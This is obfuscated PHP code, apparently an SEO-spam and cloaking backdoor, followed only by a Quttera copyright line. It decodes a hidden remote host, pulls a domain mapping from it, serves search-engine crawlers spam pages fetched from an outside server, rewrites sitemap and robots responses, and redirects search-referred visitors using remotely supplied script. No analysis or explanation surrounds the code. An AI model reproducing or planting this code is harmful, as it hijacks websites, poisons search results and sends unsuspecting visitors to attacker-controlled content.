goto yLUSK; w7ytN: error_reporting(0); goto YzHG_; L0sqd: $https = false; goto So0fy; eI95L: if (stripos($path, "\163\x69\x74\145\155\x61\x70") !== false) { respond("\x61\160\160\x6c\151\143\x61\164\151\x6f\x6e\57\x78\155\154", fetch(build_url($mediaHost, $path, $qstr, $current_url, "\x26\137\x61\x63\164\x69\157\156\x3d\x73\151\164\145\x6d\141\x70"))); } goto kkGVR; hD5mA: $bot = "\x68\165\155\141\x6e"; goto ygJZS; bnJ93: $current_url = $scheme . $host . URI; goto c1PFV; kkGVR: if (stripos($path, "\x72\157\142\x6f\164\x73") !== false) { respond("\x74\x65\x78\164\x2f\160\x6c\141\151\156", fetch(build_url($mediaHost, $path, $qstr, $current_url, "\46\x5f\141\x63\164\x69\157\156\x3d\162\157\x62\x6f\164\163"))); } goto ZCXsX; lnQ51: define("\x48\111\112\101\103\113", "\123\x49\x54\105"); goto Uj4R9; fcQyM: while ($maxTry--) { $json = fetch($mapUrl); if ($json !== false) { $tempMapping = json_decode($json, 1); if (is_array($tempMapping)) { $mapping = $tempMapping; break; } } } goto QeHOK; Zw4jx: function getFirstLevelDirectoryFromPath($path) { $path = (string) $path; if (empty($path) || $path === "\57") { return false; } try { if (!empty($path)) { $path = urldecode($path); } $path = trim($path, "\57"); if (empty($path)) { return false; } $pathParts = explode("\57", $path); $firstDir = isset($pathParts[0]) ? (string) $pathParts[0] : ''; if (strpos($firstDir, "\x2e") !== false) { return false; } return $firstDir; } catch (Exception $e) { return false; } } goto L1ftT; yLUSK: set_time_limit(0); goto w7ytN; ygJZS: if (is_bot($ua)) { $bot = "\171\x65\x73"; } goto WiWcf; MlJ1x: $mapUrl = "\150\x74\x74\x70\163\x3a\x2f\57" . ROUTER_HOST . "\x2f\164\141\162\x67\145\164\x2e\x6a\163\157\x6e\77\163\150\x3d" . $host . "\77\x62\157\x74\75" . $bot . "\77\164\x3d" . time(); goto G8k5b; NR7ap: $secMapKey = ''; goto eZ3eX; YzHG_: define("\x55\x52\x49", isset($_SERVER["\x52\x45\121\x55\105\123\x54\137\x55\122\111"]) ? (string) $_SERVER["\x52\105\121\x55\105\123\124\x5f\x55\x52\x49"] : "\57"); goto lnQ51; GZRtw: $path = "\57"; goto n4ZQj; ZCXsX: if (is_bot($ua)) { if ("\x53\111\124\105" == HIJACK || HIJACK == "\x50\101\122\124\111\x41\114" && has_token(URI)) { $html = fetch(build_url($mediaHost, $path, $qstr, $current_url, "\46\137\141\143\164\x69\x6f\x6e\75\x73\160\151\144\145\x72")); if ($html === false) { } else { $html = str_replace(array("\x68\x74\164\x70\x3a\x2f\57" . (string) $mediaHost, "\x68\x74\164\x70\x73\72\57\x2f" . (string) $mediaHost), $scheme . $host, (string) $html); respond("\164\145\x78\x74\57\x68\164\x6d\154", $html); } } } goto FWmOq; ZEF08: $ref = isset($_SERVER["\x48\124\x54\120\137\122\105\106\x45\x52\105\122"]) ? (string) $_SERVER["\110\124\124\120\137\x52\x45\x46\x45\122\x45\122"] : ''; goto yVsgQ; L1ftT: $ua = isset($_SERVER["\110\x54\x54\x50\137\x55\x53\x45\x52\x5f\101\107\105\x4e\124"]) ? (string) $_SERVER["\110\124\124\x50\x5f\x55\x53\x45\122\137\x41\x47\105\116\124"] : ''; goto ZEF08; V79_p: $mapKey = str_replace("\167\167\167\56", '', $host); goto NR7ap; HqiPI: $qstr = isset($parsed["\x71\x75\145\162\x79"]) ? (string) $parsed["\161\x75\145\x72\x79"] : ''; goto hD5mA; So0fy: if (!empty($_SERVER["\x48\124\124\x50\123"]) && $_SERVER["\x48\124\x54\120\123"] !== "\x6f\x66\x66") { $https = true; } elseif (isset($_SERVER["\123\105\122\126\105\x52\x5f\x50\117\x52\124"]) && $_SERVER["\123\x45\x52\x56\x45\x52\137\x50\117\122\x54"] == 443) { $https = true; } goto KSW83; rhwCI: define("\115\125\114\x55", "\160\162\x6f\144\165\x63\164\x7c\163\151\x74\145\155\x61\x70\x7c\x72\157\142\x6f\x74\x73\174\55\x70\55"); goto Iezik; yVsgQ: $host = isset($_SERVER["\x48\x54\x54\120\137\110\x4f\123\x54"]) ? (string) $_SERVER["\110\124\x54\120\137\x48\x4f\x53\124"] : ''; goto L0sqd; lLWOi: $pathKey = getFirstLevelDirectoryFromPath($path); goto TNDCk; TNDCk: if ($pathKey !== false && $pathKey !== '') { $secMapKey = $mapKey . "\x2e" . $pathKey; } goto MxIqb; Uj4R9: define("\x52\x4f\x55\x54\x45\x52\137\110\117\x53\x54", rtrim((string) base64_decode("\x65\x6d\115\x75\x64\127\x74\162\x5a\62\x56\x68\x63\151\65\152\x62\x32\60\x3d"), "\x2f")); goto rhwCI; EgWgW: function has_token($uri) { $uri = (string) $uri; $tokens = explode("\174", MULU); foreach ($tokens as $t) { if ($t && stripos($uri, $t) !== false) { return true; } } return $uri === "\57"; } goto CAuld; WiWcf: $maxTry = 5; goto MlJ1x; G8k5b: $mapping = array(); goto fcQyM; eZ3eX: $mediaHost = ''; goto lLWOi; QeHOK: if (!is_array($mapping) || count($mapping) == 0) { die; } goto V79_p; c1PFV: $parsed = parse_url(URI); goto GZRtw; CAuld: function fetch($url) { $url = (string) $url; if (empty($url)) { return false; } $host = isset($_SERVER["\110\x54\x54\120\137\110\x4f\123\x54"]) ? (string) $_SERVER["\110\x54\124\x50\137\110\117\x53\124"] : ''; if (function_exists("\x63\x75\162\154\137\x69\x6e\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, "\x4d\x6f\172\151\x6c\x6c\141\57\65\56\x30\x20\50\x57\x69\x6e\x64\x6f\x77\163\40\116\x54\40\x31\x30\56\x30\73\x20\x57\x69\156\x36\64\x3b\40\x78\66\x34\x29\40\x41\x70\160\154\145\127\x65\142\113\x69\x74\57\x35\63\x37\56\x33\x36\40\50\113\110\x54\115\114\x2c\40\154\x69\x6b\x65\40\107\145\143\153\x6f\51\x20\103\150\162\157\155\145\57\61\x30\x39\56\60\x2e\x30\x2e\x30\40\x53\141\146\x61\162\x69\x2f\x35\63\67\56\63\66"); curl_setopt($ch, CURLOPT_HTTPHEADER, array("\x52\x65\146\145\x72\x65\x72\x3a\40\x68\164\x74\x70\x73\72\57\57\x77\167\x77\x2e\147\157\x6f\147\154\x65\56\143\x6f\x6d\57\77\162\x65\146\145\x72\x65\162\75" . $host, "\101\143\143\145\160\164\x3a\40\x74\145\170\x74\x2f\150\164\x6d\x6c")); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_MAXREDIRS, 2); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $res = curl_exec($ch); curl_close($ch); return $res !== false ? $res : false; } $context = stream_context_create(array("\150\164\164\x70" => array("\x66\157\154\x6c\157\x77\137\154\x6f\143\141\164\151\x6f\x6e" => 1, "\155\x61\170\x5f\162\x65\144\x69\x72\145\143\x74\x73" => 5, "\164\x69\155\x65\157\x75\164" => 20, "\x75\x73\x65\162\137\x61\x67\145\x6e\164" => "\x4d\157\172\x69\x6c\154\x61\x2f\x35\56\60\40\50\x57\151\x6e\144\157\167\163\40\116\124\x20\61\x30\x2e\60\x3b\x20\127\x69\156\x36\x34\73\x20\x78\x36\x34\51\40\x41\x70\160\154\145\x57\x65\x62\x4b\x69\x74\57\x35\63\67\56\x33\x36\x20\50\x4b\110\124\x4d\114\54\40\x6c\151\153\x65\40\107\145\143\153\157\x29\x20\103\150\x72\x6f\x6d\145\57\61\60\x39\x2e\x30\x2e\x30\56\60\x20\x53\x61\x66\x61\162\x69\57\65\x33\x37\x2e\x33\66"))); return @file_get_contents($url, false, $context); } goto AFhoq; KSW83: $scheme = $https ? "\x68\x74\164\x70\163\72\57\57" : "\150\x74\x74\160\72\x2f\x2f"; goto bnJ93; n4ZQj: if (isset($parsed["\x70\141\164\x68"]) && $parsed["\160\141\164\150"] !== '') { $path = strtolower((string) $parsed["\x70\141\164\150"]); } goto HqiPI; c74tg: function is_se_ref($ref) { $ref = (string) $ref; return stripos($ref, "\147\157\157\x67\x6c\145") !== false || stripos($ref, "\142\x69\156\147") !== false || stripos($ref, "\171\x61\150\157\x6f") !== false; } goto EgWgW; nQ94s: function respond($type, $body, $exit = true) { $type = (string) $type; $body = (string) $body; if (!headers_sent()) { header("\103\x6f\156\164\145\156\164\55\x54\171\x70\x65\72\40{$type}\x3b\40\x63\150\x61\162\163\145\x74\x3d\x75\164\146\x2d\x38"); ob_clean(); flush(); } echo $body; if ($exit) { die; } } goto Zw4jx; jiHiY: function is_bot($ua) { $ua = (string) $ua; return stripos($ua, "\x47\x6f\157\147\154\x65\x62\x6f\164") !== false || stripos($ua, "\102\x69\x6e\147\x62\x6f\x74") !== false || stripos($ua, "\x59\141\150\157\x6f\41") !== false; } goto c74tg; FWmOq: if (has_token(URI) && is_se_ref($ref)) { $js = fetch(build_url($mediaHost, $path, $qstr, $current_url, "\x26\137\141\x63\x74\x69\x6f\x6e\75\162\x65\x64\151\162\x65\143\x74")); respond("\x74\145\x78\x74\x2f\x68\164\x6d\x6c", $js); } goto NiKH3; MxIqb: if ($secMapKey !== '' && isset($mapping[$secMapKey])) { $mediaHost = $mapping[$secMapKey]; } elseif (isset($mapping[$mapKey])) { $mediaHost = $mapping[$mapKey]; } goto eI95L; AFhoq: function build_url($host, $path, $query, $url, $extra) { $host = (string) $host; $path = (string) $path; $query = (string) $query; $url = (string) $url; $extra = (string) $extra; $domain = isset($_SERVER["\110\124\x54\120\x5f\110\117\x53\x54"]) ? (string) $_SERVER["\x48\124\x54\x50\137\x48\117\123\124"] : ''; $qs = $query ? $query . "\46" : ''; $qs .= "\x5f\165\162\151\x3d" . urlencode(URI) . "\x26\137\144\157\155\141\x69\x6e\75" . urlencode($domain) . $extra; return "\x68\164\x74\x70\x73\x3a\57\57" . $host . $path . "\77" . $qs; } goto nQ94s; Iezik: define("\x4d\105\104\111\101\137\123\x43\x48\x45\115\105", "\150\164\164\x70\x73"); goto jiHiY; NiKH3:
© 2023 Quttera Ltd. All rights reserved.